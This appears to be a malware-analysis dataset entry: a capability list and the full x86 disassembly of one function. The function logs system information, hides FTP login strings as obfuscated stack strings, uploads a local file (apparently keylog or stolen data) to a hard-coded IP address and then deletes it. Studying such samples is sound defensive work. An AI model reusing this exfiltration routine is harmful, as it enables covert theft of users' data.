Function at 0x40b336
Capabilities:
Check os version
Connect to http server
Contain obfuscated stackstrings
Create http request
Delete file
Get common file path
Get file size
Read .ini file
Send file using ftp

Disassembly:
push ebp
sub esp, 0x6ac
lea ebp, [esp - 4]
mov eax, dword [0x466b10]
xor eax, ebp
mov dword [ebp + 0x6ac], eax
push 0x14
mov eax, 0x44b212
call fcn.00433137
mov edi, ecx
mov dword [ebp - 0x20], edi
lea eax, [edi + 0x1c]
push 0x44fc5c
push eax
lea eax, [ebp + 0x338]
xor ebx, ebx
push eax
mov dword [ebp - 4], ebx
mov byte [ebp - 0xd], bl
call fcn.00407f8e
add esp, 0xc
push str.wpack_
lea ecx, [ebp + 0x31c]
mov byte [ebp - 4], 1
call fcn.00401add
push 0xffffffffffffffff
push ebx
lea eax, [ebp + 0x6b8]
push eax
lea ecx, [ebp + 0x31c]
mov byte [ebp - 4], 2
call fcn.004030d2
push str..klg
lea ecx, [ebp + 0x31c]
call fcn.00407b8b
push 0xffffffffffffffff
push ebx
lea eax, [ebp + 0x31c]
push eax
lea ecx, [ebp + 0x338]
call fcn.004030d2
cmp dword [edi + 0x848], ebx
mov byte [ebp - 0xf], bl
mov dword [ebp + 0x6a4], ebx
jle 0x40ba09
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
add edi, 0x138
push 0x103
lea eax, [ebp + 0x595]
push ebx
push eax
mov byte [ebp + 0x594], bl
call fcn.004328f0
add esp, 0xc
lea eax, [edi - 0x100]
push eax
lea eax, [ebp + 0x594]
push eax
call esi
push 0x44fc5c
lea eax, [ebp + 0x594]
push eax
call esi
push edi
lea eax, [ebp + 0x594]
push eax
call esi
push str..src
lea eax, [ebp + 0x594]
push eax
call esi
push ebx
push 0x80
push 3
push ebx
push 1
push SysReAllocStringLen
lea eax, [ebp + 0x594]
push eax
mov byte [ebp - 0xe], bl
mov dword [ebp - 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x14], eax
je 0x40b478
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
jmp 0x40b4ad
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x20
je 0x40b48d
cmp eax, 2
je 0x40b48d
cmp eax, 3
jne 0x40b4e8
lea eax, [ebp]
push eax
lea eax, [ebp + 0x594]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x14], eax
mov byte [ebp - 0xe], 1
je 0x40b4e8
mov eax, dword [ebp + 0x20]
cmp eax, ebx
mov dword [ebp - 0x1c], eax
jbe 0x40b4e8
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push edi
call fcn.00401add
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax + 8]
call fcn.004094f9
cmp al, bl
jne 0x40b832
mov dword [edi + 0x100], 2
mov byte [ebp - 0xd], 1
jmp 0x40b832
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x98
mov dword [ebp - 0x18], eax
lea eax, [ebp + 0x284]
push ebx
push eax
call fcn.004328f0
add esp, 0xc
push 0x44fe3b
lea ecx, [ebp + 0x370]
mov dword [ebp + 0x280], 0x9c
call fcn.00401add
lea eax, [ebp + 0x280]
push eax
mov byte [ebp - 4], 3
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x40b626
cmp dword [ebp + 0x284], 6
jne 0x40b59d
cmp dword [ebp + 0x288], 1
jne 0x40b56e
cmp byte [ebp + 0x31a], 1
lea ecx, [ebp + 0x370]
jne 0x40b564
push str.Windows_7
jmp 0x40b621
push str.Windows_Server_2008_R2
jmp 0x40b621
cmp dword [ebp + 0x288], ebx
jne 0x40b626
cmp byte [ebp + 0x31a], 1
lea ecx, [ebp + 0x370]
jne 0x40b593
push str.Windows_Vista
jmp 0x40b621
push str.Windows_Server_2008
jmp 0x40b621
cmp dword [ebp + 0x284], 5
jne 0x40b616
cmp dword [ebp + 0x288], 2
jne 0x40b5f7
push 0x59
call dword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
je 0x40b5c2
push str.Windows_Server_2003_R2
jmp 0x40b61b
push 0x59
call dword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
jne 0x40b5d5
push str.Windows_Server_2003
jmp 0x40b61b
test word [ebp + 0x318], 0x8000
je 0x40b5e7
push str.Windows_Home_Server
jmp 0x40b61b
cmp byte [ebp + 0x31a], 1
jne 0x40b626
push str.Windows_XP
jmp 0x40b61b
cmp dword [ebp + 0x288], 1
jne 0x40b607
push 0x450da8
jmp 0x40b61b
cmp dword [ebp + 0x288], ebx
jne 0x40b626
push str.Windows_2000
jmp 0x40b61b
push str.Before_Windows_2000
lea ecx, [ebp + 0x370]
call fcn.00401a04
lea eax, [ebp + 0x338]
push eax
mov byte [ebp - 0xf], 1
call fcn.0040724d
cmp dword [ebp + 0x388], 0x10
mov eax, dword [ebp + 0x374]
pop ecx
jae 0x40b64c
lea eax, [ebp + 0x374]
push eax
push str.OS_Info_:__s
call fcn.004070f8
push 0x103
lea eax, [ebp + 0x38d]
push ebx
push eax
mov byte [ebp + 0x38c], bl
call fcn.004328f0
add esp, 0x14
lea eax, [ebp + 0x38c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
cmp dword [ebp - 0x14], 0xffffffff
jne 0x40b79c
push str.Handle_is_null__
call fcn.004070f8
mov dword [esp], 0x103
lea eax, [ebp + 0x491]
push ebx
push eax
mov byte [ebp + 0x490], bl
call fcn.004328f0
add esp, 0xc
lea eax, [edi - 0x100]
push eax
lea eax, [ebp + 0x490]
push eax
call esi
push 0x44fc5c
lea eax, [ebp + 0x490]
push eax
call esi
push edi
lea eax, [ebp + 0x490]
push eax
call esi
push str..src2
lea eax, [ebp + 0x490]
push eax
call esi
lea eax, [ebp + 0x38c]
push eax
lea ecx, [ebp + 0x354]
call fcn.00401add
push str.Path.Ini
lea ecx, [ebp + 0x354]
mov byte [ebp - 4], 4
call fcn.00407b8b
cmp dword [ebp + 0x36c], 0x10
mov eax, dword [ebp + 0x358]
jae 0x40b726
lea eax, [ebp + 0x358]
push eax
push ebx
push str.Count
push str.Version
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
push eax
push str.Repack_Count__d
call fcn.004070f8
pop ecx
pop ecx
lea eax, [ebp + 0x140]
push eax
lea eax, [ebp + 0x490]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x40b77d
push str.SRC2_is_exist___
call fcn.004070f8
push dword [ebp + 0x160]
push str.SRC2s_size__d
call fcn.004070f8
add esp, 0xc
jmp 0x40b788
push str.SRC2_is_not_exist___
call fcn.004070f8
pop ecx
push ebx
push 1
lea ecx, [ebp + 0x354]
mov byte [ebp - 4], 3
call fcn.00401627
jmp 0x40b7ac
cmp dword [ebp - 0x1c], ebx
ja 0x40b7ac
push str.Size_is_zero__
call fcn.004070f8
pop ecx
cmp byte [ebp - 0xe], bl
push dword [ebp - 0x18]
je 0x40b7bb
push str.FindFile_Error_Number_:__d
jmp 0x40b7c0
push str.CreateFile_Error_Number_:__d
call fcn.004070f8
pop ecx
pop ecx
lea eax, [edi - 0x100]
push eax
call fcn.004070f8
push edi
call fcn.004070f8
mov eax, dword [ebp - 0x20]
add eax, 0x1c
cmp dword [eax + 0x18], 0x10
pop ecx
pop ecx
jb 0x40b7ec
mov eax, dword [eax + 4]
jmp 0x40b7ef
add eax, 4
push eax
call fcn.004070f8
lea eax, [ebp + 0x594]
push eax
call fcn.004070f8
lea eax, [ebp + 0x38c]
push eax
call fcn.004070f8
add esp, 0xc
call fcn.00406f5d
xor eax, eax
inc eax
push ebx
push eax
lea ecx, [ebp + 0x370]
mov dword [edi + 0x100], eax
mov byte [ebp - 0xd], al
mov byte [ebp - 4], 2
call fcn.00401627
cmp byte [ebp - 0xe], bl
je 0x40b848
cmp dword [ebp - 0x14], 0xffffffff
je 0x40b857
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x40b857
cmp dword [ebp - 0x14], 0xffffffff
je 0x40b857
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc dword [ebp + 0x6a4]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp + 0x6a4]
add edi, 0x204
cmp ecx, dword [eax + 0x848]
jl 0x40b3f2
cmp byte [ebp - 0xf], bl
je 0x40ba09
push 0x10000000
push ebx
push ebx
push ebx
push str.KnightOnlineFtp
call dword [sym.imp.WININET.dll_InternetOpenA]
cmp eax, ebx
mov dword [ebp - 0x18], eax
je 0x40b9ed
push str._d._d._d._d
lea ecx, [ebp + 0x354]
call fcn.00401add
cmp dword [ebp + 0x36c], 0x10
mov eax, dword [ebp + 0x358]
jae 0x40b8c4
lea eax, [ebp + 0x358]
push 0x63
push 0xe0
push 0xcd
push 0x77
push eax
lea eax, [ebp + 0x378]
push eax
call fcn.00435a0d
xor eax, eax
lea edi, [ebp + 0x6a5]
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
add esp, 0x18
lea edi, [ebp + 0x699]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosb byte es:[edi], al
push ebx
push 0x8000000
push 1
lea eax, [ebp + 0x698]
push eax
lea eax, [ebp + 0x6a4]
push eax
push 0x15
lea eax, [ebp + 0x378]
push eax
push dword [ebp - 0x18]
mov byte [ebp + 0x69b], 0x6c
mov byte [ebp + 0x6a6], 0x69
mov byte [ebp + 0x699], 0x6b
mov byte [ebp + 0x6a8], 0x68
mov byte [ebp + 0x69e], 0x66
mov byte [ebp + 0x6a9], 0x74
mov byte [ebp + 0x69f], 0x74
mov byte [ebp + 0x69c], 0x78
mov byte [ebp + 0x6a5], 0x6e
mov byte [ebp + 0x698], 0x73
mov byte [ebp + 0x69a], 0x64
mov byte [ebp + 0x6a7], 0x67
mov byte [ebp + 0x69d], 0x6d
mov byte [ebp + 0x6a4], 0x6b
mov byte [ebp + 0x6a0], 0x70
call dword [sym.imp.WININET.dll_InternetConnectA]
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov esi, eax
cmp esi, ebx
je 0x40b9da
push str.Client
push esi
call dword [sym.imp.WININET.dll_FtpSetCurrentDirectoryA]
cmp dword [ebp + 0x334], 0x10
mov ecx, dword [ebp + 0x320]
jae 0x40b9b6
lea ecx, [ebp + 0x320]
cmp dword [ebp + 0x350], 0x10
mov eax, dword [ebp + 0x33c]
jae 0x40b9cb
lea eax, [ebp + 0x33c]
push ebx
push 2
push ecx
push eax
push esi
call dword [sym.imp.WININET.dll_FtpPutFileA]
push esi
call edi
push dword [ebp - 0x18]
call edi
push ebx
push 1
lea ecx, [ebp + 0x354]
call fcn.00401627
cmp dword [ebp + 0x350], 0x10
mov eax, dword [ebp + 0x33c]
jae 0x40ba02
lea eax, [ebp + 0x33c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push ebx
push 1
lea ecx, [ebp + 0x31c]
call fcn.00401627
push ebx
push 1
lea ecx, [ebp + 0x338]
call fcn.00401627
push ebx
push 1
lea ecx, [ebp + 0x6b8]
call fcn.00401627
mov al, byte [ebp - 0xd]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x6ac]
xor ecx, ebp
call fcn.00432980
add ebp, 0x6b0
leave
ret 0x1c